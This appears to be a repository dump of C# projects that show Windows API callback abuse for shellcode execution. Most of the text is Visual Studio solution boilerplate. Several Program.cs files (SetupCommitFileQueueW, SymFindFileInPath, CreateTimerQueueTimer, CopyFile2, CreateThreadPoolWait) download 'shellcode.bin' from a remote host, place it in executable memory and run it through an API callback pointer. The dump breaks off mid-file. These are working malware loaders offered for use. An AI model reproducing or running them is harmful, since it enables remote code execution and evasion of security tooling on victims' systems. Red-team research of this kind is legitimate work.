13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Debug|x64.ActiveCfg = Debug|x64 19 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Debug|x64.Build.0 = Debug|x64 20 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Release|x64.ActiveCfg = Release|x64 23 | {E6BD3729-8AD7-4ECF-95DC-42C920D64D88}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {F8F3EDAC-2B6F-4A1E-BD37-5DEC2BDE2993} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /CreateTimerQueueTimer/CreateTimerQueueTimer.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CreateTimerQueueTimer", "CreateTimerQueueTimer\CreateTimerQueueTimer.csproj", "{DD32306C-9D06-4A22-97B1-A570454DF14D}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Debug|x64.ActiveCfg = Debug|x64 19 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Debug|x64.Build.0 = Debug|x64 20 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Release|x64.ActiveCfg = Release|x64 23 | {DD32306C-9D06-4A22-97B1-A570454DF14D}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {B5F63F61-A8B6-48B7-BE18-206D13E45E1A} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SetupCommitFileQueueW/SetupCommitFileQueueW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SetupCommitFileQueueW", "SetupCommitFileQueueW\SetupCommitFileQueueW.csproj", "{413DCBFF-2152-4A34-8727-C39C29CF32EC}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Debug|x64.ActiveCfg = Debug|x64 19 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Debug|x64.Build.0 = Debug|x64 20 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Release|x64.ActiveCfg = Release|x64 23 | {413DCBFF-2152-4A34-8727-C39C29CF32EC}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {D958DC89-7079-45FF-B686-8AED1C75A635} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumerateLoadedModules/EnumerateLoadedModules.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumerateLoadedModules", "EnumerateLoadedModules\EnumerateLoadedModules.csproj", "{DE604334-DAB8-4E0E-B90A-2A236E7AA019}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Debug|x64.ActiveCfg = Debug|x64 19 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Debug|x64.Build.0 = Debug|x64 20 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Release|x64.ActiveCfg = Release|x64 23 | {DE604334-DAB8-4E0E-B90A-2A236E7AA019}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {6D1AE2A0-AF3D-4C96-A994-DF91C56DC179} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /CertSystemStoreLocation/CertSystemStoreLocation.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CertSystemStoreLocation", "CertSystemStoreLocation\CertSystemStoreLocation.csproj", "{BFA8678C-CB87-4E35-897C-940F3C5CF0D7}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Debug|x64.ActiveCfg = Debug|x64 19 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Debug|x64.Build.0 = Debug|x64 20 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Release|x64.ActiveCfg = Release|x64 23 | {BFA8678C-CB87-4E35-897C-940F3C5CF0D7}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {6B55CED6-10A5-42DE-B93D-184491FFAA0E} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumLanguageGroupLocalesW", "EnumLanguageGroupLocalesW\EnumLanguageGroupLocalesW.csproj", "{E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Debug|x64.ActiveCfg = Debug|x64 19 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Debug|x64.Build.0 = Debug|x64 20 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Release|x64.ActiveCfg = Release|x64 23 | {E6B0DDF5-9947-4BB7-B7F7-A33FDB76D873}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {7420926B-6E5F-483A-8104-3424A13072DE} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumSystemLanguageGroupsW/EnumSystemLanguageGroupsW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumSystemLanguageGroupsW", "EnumSystemLanguageGroupsW\EnumSystemLanguageGroupsW.csproj", "{98C2DC0B-6431-492B-A4BD-2D26A1D1C643}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Debug|x64.ActiveCfg = Debug|x64 19 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Debug|x64.Build.0 = Debug|x64 20 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Release|x64.ActiveCfg = Release|x64 23 | {98C2DC0B-6431-492B-A4BD-2D26A1D1C643}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {394B9746-8154-4944-9B00-76AEF246A3E5} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /VerifierEnumerateResource/VerifierEnumerateResource.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VerifierEnumerateResource", "VerifierEnumerateResource\VerifierEnumerateResource.csproj", "{E1C68055-0A20-41BC-868F-99298B291C3A}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Debug|x64.ActiveCfg = Debug|x64 19 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Debug|x64.Build.0 = Debug|x64 20 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Release|x64.ActiveCfg = Release|x64 23 | {E1C68055-0A20-41BC-868F-99298B291C3A}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {8CA71C27-B0A0-4F29-8B08-3127FEF73C05} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SetupCommitFileQueueW/SetupCommitFileQueueW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SetupCommitFileQueueW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | IntPtr hQueue = SetupOpenFileQueue(); 22 | 23 | SetupQueueCopyW(hQueue, "C:\\", "\\Windows\\System32\\", "kernel32.dll", null, null, "C:\\Windows\\Temp\\", "kernel32.dll", 0x400); 24 | 25 | SetupCommitFileQueueW(IntPtr.Zero, hQueue, addr, IntPtr.Zero); 26 | } 27 | 28 | [DllImport("kernel32.dll", SetLastError = true)] 29 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 30 | 31 | [DllImport("setupapi.dll")] 32 | static extern IntPtr SetupOpenFileQueue(); 33 | 34 | [DllImport("setupapi.dll")] 35 | static extern bool SetupQueueCopyW( 36 | IntPtr QueueHandle, 37 | String SourceRootPath, 38 | String SourcePath, 39 | String SourceFilename, 40 | String SourceDescription, 41 | String SourceTagfile, 42 | String TargetDirectory, 43 | String TargetFileName, 44 | int CopyStyle); 45 | 46 | [DllImport("setupapi.dll")] 47 | static extern bool SetupCommitFileQueueW(IntPtr Owner, IntPtr QueueHandle, IntPtr MsgHandler, IntPtr Context); 48 | 49 | } 50 | } 51 | 52 | -------------------------------------------------------------------------------- /EnumFontFamiliesW/EnumFontFamiliesW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumFontFamiliesW", "EnumFontFamiliesW\EnumFontFamiliesW.csproj", "{2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Debug|x86 = Debug|x86 13 | Release|Any CPU = Release|Any CPU 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Debug|x64.ActiveCfg = Debug|x64 21 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Debug|x64.Build.0 = Debug|x64 22 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Debug|x86.ActiveCfg = Debug|x86 23 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Debug|x86.Build.0 = Debug|x86 24 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Release|x64.ActiveCfg = Release|x64 27 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Release|x64.Build.0 = Release|x64 28 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Release|x86.ActiveCfg = Release|x86 29 | {2A59EA5A-A890-41E3-ADBF-FAA049D8FD74}.Release|x86.Build.0 = Release|x86 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {0672E39A-BB02-4617-BFA3-5251FFCCFF36} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /SymFindFileInPath/SymFindFileInPath/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Net; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace SymFindFileInPath 10 | { 11 | internal class Program 12 | { 13 | static void Main(string[] args) 14 | { 15 | string url = "http://10.0.0.10/shellcode.bin"; 16 | System.Net.WebClient client = new System.Net.WebClient(); 17 | byte[] shellcode = client.DownloadData(url); 18 | 19 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 20 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 21 | 22 | IntPtr hProcess = GetCurrentProcess(); 23 | 24 | SymInitialize(hProcess, null, false); 25 | 26 | IntPtr Info = IntPtr.Zero; 27 | SymSrvGetFileIndexInfo("C:\\Windows\\System32\\kernel32.dll", ref Info, 0); 28 | 29 | String FoundFile = null; 30 | SymFindFileInPath(hProcess, "C:\\Windows\\System32", "kernel32.dll", IntPtr.Zero, 0, 0, 0, ref FoundFile, addr, IntPtr.Zero); 31 | } 32 | 33 | [DllImport("kernel32.dll", SetLastError = true)] 34 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 35 | 36 | [DllImport("kernel32.dll")] 37 | static extern IntPtr GetCurrentProcess(); 38 | 39 | [DllImport("dbghelp.dll")] 40 | static extern bool SymInitialize(IntPtr hProcess, String UserSearchPath, bool fInvadeProcess); 41 | 42 | [DllImport("dbghelp.dll")] 43 | static extern bool SymSrvGetFileIndexInfo(String File, ref IntPtr Info, uint Flags); 44 | 45 | [DllImport("dbghelp.dll")] 46 | static extern bool SymFindFileInPath(IntPtr hProcess, String SearchPath, String FileName, IntPtr id, uint two, uint three, uint flags, ref String FoundFile, IntPtr callback, IntPtr context); 47 | 48 | 49 | } 50 | } 51 | 52 | -------------------------------------------------------------------------------- /CreateTimerQueueTimer/CreateTimerQueueTimer/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading; 7 | using System.Threading.Tasks; 8 | 9 | namespace CreateTimerQueueTimer 10 | { 11 | class Program 12 | { 13 | static void Main() 14 | { 15 | string url = "http://10.0.0.10/shellcode.bin"; 16 | System.Net.WebClient client = new System.Net.WebClient(); 17 | byte[] shellcode = client.DownloadData(url); 18 | 19 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x1000, 0x40); 20 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 21 | 22 | IntPtr timer; 23 | IntPtr queue = CreateTimerQueue(); 24 | IntPtr gDoneEvent = CreateEvent(IntPtr.Zero, true, false, null); 25 | 26 | if (!CreateTimerQueueTimer(out timer, queue, addr, IntPtr.Zero, 100, 0, 0)) 27 | { 28 | Console.WriteLine("CreateTimerQueueTimer failed with error {0}", GetLastError()); 29 | } 30 | else 31 | { 32 | WaitForSingleObject(gDoneEvent, 0xFFFFFFFF); 33 | } 34 | 35 | CloseHandle(gDoneEvent); 36 | DeleteTimerQueueEx(queue, IntPtr.Zero); 37 | } 38 | 39 | [DllImport("kernel32.dll", SetLastError = true)] 40 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 41 | 42 | [DllImport("kernel32.dll", SetLastError = true)] 43 | static extern IntPtr CreateEvent(IntPtr lpEventAttributes, bool bManualReset, bool bInitialState, string lpName); 44 | 45 | [DllImport("kernel32.dll", SetLastError = true)] 46 | static extern IntPtr CreateTimerQueue(); 47 | 48 | [DllImport("kernel32.dll", SetLastError = true)] 49 | static extern bool CreateTimerQueueTimer(out IntPtr phNewTimer, IntPtr TimerQueue, IntPtr Callback, IntPtr Parameter, uint DueTime, uint Period, uint Flags); 50 | 51 | [DllImport("kernel32.dll", SetLastError = true)] 52 | static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); 53 | 54 | [DllImport("kernel32.dll", SetLastError = true)] 55 | static extern uint GetLastError(); 56 | 57 | [DllImport("kernel32.dll", SetLastError = true)] 58 | static extern bool CloseHandle(IntPtr hObject); 59 | 60 | [DllImport("kernel32.dll", SetLastError = true)] 61 | static extern bool DeleteTimerQueueEx(IntPtr TimerQueue, IntPtr CompletionEvent); 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /CopyFile2/CopyFile2/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace CopyFile2 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | COPYFILE2_EXTENDED_PARAMETERS parameters = new COPYFILE2_EXTENDED_PARAMETERS 22 | { 23 | dwSize = (uint)Marshal.SizeOf(typeof(COPYFILE2_EXTENDED_PARAMETERS)), 24 | dwCopyFlags = COPY_FILE_EXTENDED_PARAMETERS_FLAGS.COPY_FILE_FAIL_IF_EXISTS, 25 | pfCancel = false, 26 | pProgressRoutine = addr, 27 | pvCallbackContext = IntPtr.Zero 28 | }; 29 | 30 | DeleteFile("C:\\Windows\\Temp\\backup.log"); 31 | 32 | bool result = CopyFile2("C:\\Windows\\DirectX.log", "C:\\Windows\\Temp\\backup.log", ref parameters); 33 | if (!result) 34 | { 35 | throw new Exception("CopyFile2 failed"); 36 | } 37 | 38 | } 39 | 40 | [DllImport("kernel32.dll", SetLastError = true)] 41 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, int flAllocationType, int flProtect); 42 | 43 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 44 | static extern bool CopyFile2(string pwszExistingFileName, string pwszNewFileName, ref COPYFILE2_EXTENDED_PARAMETERS pExtendedParameters); 45 | 46 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 47 | static extern bool DeleteFile(string lpFileName); 48 | 49 | [StructLayout(LayoutKind.Sequential)] 50 | struct COPYFILE2_EXTENDED_PARAMETERS 51 | { 52 | public uint dwSize; 53 | public COPY_FILE_EXTENDED_PARAMETERS_FLAGS dwCopyFlags; 54 | public bool pfCancel; 55 | public IntPtr pProgressRoutine; 56 | public IntPtr pvCallbackContext; 57 | } 58 | 59 | [Flags] 60 | enum COPY_FILE_EXTENDED_PARAMETERS_FLAGS : uint 61 | { 62 | COPY_FILE_FAIL_IF_EXISTS = 0x1, 63 | COPY_FILE_RESTARTABLE = 0x2, 64 | COPY_FILE_OPEN_SOURCE_FOR_WRITE = 0x4, 65 | COPY_FILE_ALLOW_DECRYPTED_DESTINATION = 0x8, 66 | COPY_FILE_COPY_SYMLINK = 0x800, 67 | COPY_FILE_NO_BUFFERING = 0x1000 68 | } 69 | 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /CreateThreadPoolWait/CreateThreadPoolWait/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading; 7 | using System.Threading.Tasks; 8 | 9 | namespace CreateThreadPoolWait 10 | { 11 | class Program 12 | { 13 | const int LEN = 277; 14 | 15 | 16 | 17 | static void Main() 18 | { 19 | string url = "http://10.0.0.10/shellcode.bin"; 20 | System.Net.WebClient client = new System.Net.WebClient(); 21 | byte[] shellcode = client.DownloadData(url); 22 | 23 | IntPtr hEvent = CreateEvent(IntPtr.Zero, false, false, null); 24 | if (hEvent == IntPtr.Zero) 25 | { 26 | throw new Exception("Failed to create event. Error: " + Marshal.GetLastWin32Error()); 27 | } 28 | 29 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x1000, 0x40); 30 | if (addr == IntPtr.Zero) 31 | { 32 | throw new Exception("Failed to allocate memory. Error: " + Marshal.GetLastWin32Error()); 33 | } 34 | 35 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 36 | 37 | IntPtr ptp_w = CreateThreadpoolWait(addr, IntPtr.Zero, IntPtr.Zero); 38 | if (ptp_w == IntPtr.Zero) 39 | { 40 | throw new Exception("Failed to create thread pool wait object. Error: " + Marshal.GetLastWin32Error()); 41 | } 42 | 43 | SetThreadpoolWait(ptp_w, hEvent, IntPtr.Zero); 44 | 45 | // Need to send events so the Threadpool Wait Callback has a chance to "catch" them and run. 46 | if (!SetEvent(hEvent)) 47 | { 48 | throw new Exception("Failed to set event. Error: " + Marshal.GetLastWin32Error()); 49 | } 50 | 51 | WaitForThreadpoolWaitCallbacks(ptp_w, false); 52 | 53 | if (!SetEvent(hEvent)) 54 | { 55 | throw new Exception("Failed to set event. Error: " + Marshal.GetLastWin32Error()); 56 | } 57 | 58 | } 59 | 60 | [DllImport("kernel32.dll")] 61 | static extern IntPtr CreateEvent(IntPtr lpEventAttributes, bool bManualReset, bool bInitialState, string lpName); 62 